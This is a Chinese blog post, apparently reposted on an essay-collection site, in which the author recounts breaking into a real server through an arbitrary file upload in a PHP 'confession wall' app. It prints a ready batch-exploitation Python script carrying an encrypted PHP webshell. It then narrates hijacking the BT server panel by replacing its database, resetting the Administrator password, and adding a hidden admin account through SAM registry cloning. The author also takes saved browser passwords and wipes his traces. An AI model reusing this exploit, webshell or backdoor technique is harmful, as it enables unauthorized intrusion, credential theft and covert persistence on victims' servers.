700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > php批量getshell 任意文件上传引发的批量Getshell到服务器 - WileySec's Blog

php批量getshell 任意文件上传引发的批量Getshell到服务器 - WileySec's Blog

时间:2022-11-01 11:50:54

相关推荐

php批量getshell 任意文件上传引发的批量Getshell到服务器 - WileySec's Blog

昨天闲来没事干,看了看娱乐网,看到有人发布了表白墙源码,本着这肯定有漏洞的心去测了一下,果然有漏洞存在任意文件上传直接Getshell,而后写了一个一键Getshell脚本批量。

Feature

漏洞位置

在 Index 控制器下的 Index.php 中有个 upload 方法,存在任意文件上传

代码审计部分就不详细说明了

漏洞利用EXP编写import requests

import urllib3

import sys

import json

requests.packages.urllib3.disable_warnings()

webshell = """

session_start();

@set_time_limit(0);

@error_reporting(0);

function E($D,$K){

for($i=0;$i

$D[$i] = $D[$i]^$K[$i+1&15];

}

return $D;

}

function Q($D){

return base64_encode($D);

}

function O($D){

return base64_decode($D);

}

$P='pass';

$V='payload';

$T='3c6e0b8a9c15224a';

if (isset($_POST[$P])){

$F=O(E(O($_POST[$P]),$T));

if (isset($_SESSION[$V])){

$L=$_SESSION[$V];

$A=explode('|',$L);

class C{public function nvoke($p) {eval($p."");}}

$R=new C();

$R->nvoke($A[0]);

echo substr(md5($P.$T),0,16);

echo Q(E(@run($F),$T));

echo substr(md5($P.$T),16);

}else{

$_SESSION[$V]=$F;

}

}

"""

files = {

'file': ('a.php', webshell, 'image/png'),

}

if __name__ == "__main__":

url = sys.argv[1]

try:

try:

uploadfile_url = url + "/public/index/index/upload.html"

response = requests.post(uploadfile_url, files=files, verify=False)

html = response.text

jsondata = json.loads(html)

except:

uploadfile_url = url + "/index/index/upload.html"

response = requests.post(uploadfile_url, files=files, verify=False)

html = response.text

jsondata = json.loads(html)

if jsondata['code'] == 0:

payload_url = jsondata['data']['src'].replace('//', '')

print("[+] 漏洞存在,WebShell地址 " + payload_url)

else:

print("[-] 漏洞不存在!")

except:

print("[-] 漏洞不存在或删除了上传模块!")

直接使用python的requests模块模拟POST数据包上传文件,直接Getshell

Getshell到登录服务器

执行不了命令,但是当前用户是 SYSTEM ,这么给力吗,都不用提权了,Windows服务器执行不了命令

一般都是由于PHP7版本的特性或者 disable_function 禁用了函数

Bypass还是不行,可急坏我了

在翻文件的时候,发现是宝塔搭建的

去访问看看

不知道入口,进不去

我知道有这个配置文件,在 BtSoft\panel\data\admin_path.pl 这个文件里,下载下来看看

得到宝塔路径,访问看看

但是不知道账号密码,这可咋办,不着急

查找宝塔账号密码

在 BtSoft\panel\tools.py 中,发现修改账号密码的地方

引用了 db 模块,然后去找db模块看看

在 BtSoft\panel\class\db.py 发现了连接数据库的代码

在这里这么多 .db 文件中,default.db 是最有可能存储着账号密码的数据库文件

经过我自己在本地搭了一个宝塔测试,替换 default.db 文件,账号密码确实是在 BtSoft\panel\data\default.db 存储着的,这个是SQLite数据库

既然知道了是SQLite数据库,下载SQLite数据库工具打开,找密码

把服务器上的 default.db 使用工具打开看看

账号知道了,密码不知道,MD5加密的,去解密看看

老天并没有眷顾我,解不出来

但是我想了一个思路,替换 default.db 文件,把我自己服务器上宝塔的 default.db 文件替换到对方服务器上宝塔的 default.db 文件,然后使用我自己服务器上宝塔的账号密码去登录对方服务器上的宝塔。

上传成功了,去登录看下

Bingo 登录成功

我以为Windows宝塔也有执行命令的地方,没想到没有,不过我在软件商店发现了一个可以添加系统用户修改系统用户密码的插件

我在想这插件不会专门用来给人家做后渗透用的吧,好鸡贼,既然有了那我就不客气了

我直接修改了 Administrator 用户的密码,这里好像只能添加普通用户所以我只好修改管理员密码了

成功登录服务器

添加隐藏后门用户net user admin2$ pass123456.. /add /y

net localgroup administrators admin2$ /add

打开注册表路径 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

可以看到刚刚创建的用户,单击即可看到用户类型值,再在 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下找到对应的类型值就是刚刚创建的用户

创建的 admin2$ 用户的类型为 0x3e9,对应的是 000003E9

右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下面的 admin2$ 导出到桌面保存为 1.reg

再右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下面的 000003E9 导出到桌面保存为 2.reg

再右键 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下面的 000001F4 导出到桌面保存为 3.reg

将 3.reg 中的F值复制替换到 2.reg 中的F值,也就是把Administrator用户的F值替换到admin2$用户F值

随后删除隐藏用户admin2$net user admin2$ /del

然后导入admin2$用户注册表信息regedit /s 1.reg

regedit /s 2.reg

注意:在这里导入需要把 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 这个权限设置为完全控制才可以导入成功,否则导入会出错

导入成功后,命令行执行 net user 是看不到 admin2$ 用户,控制面板 -> 管理账号中也是看不到的,计算机管理-本地用户和组-用户也无法列出该帐户

只有在知道该账户名称才可以看到,并执行 net user admin2$

查看服务器配置

这D盘这么大,一看就不简单

不存在内网

打开浏览器看看书签

一看就是老运维了

在谷歌浏览器的密码管理里还发现了管理员的一些账号密码

结果打开Xshell,发现了3个linux主机

然后清理在服务器上弄过的文件,把重要的文件保存到本地,关闭远程桌面,一气呵成,溜了溜了~~

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。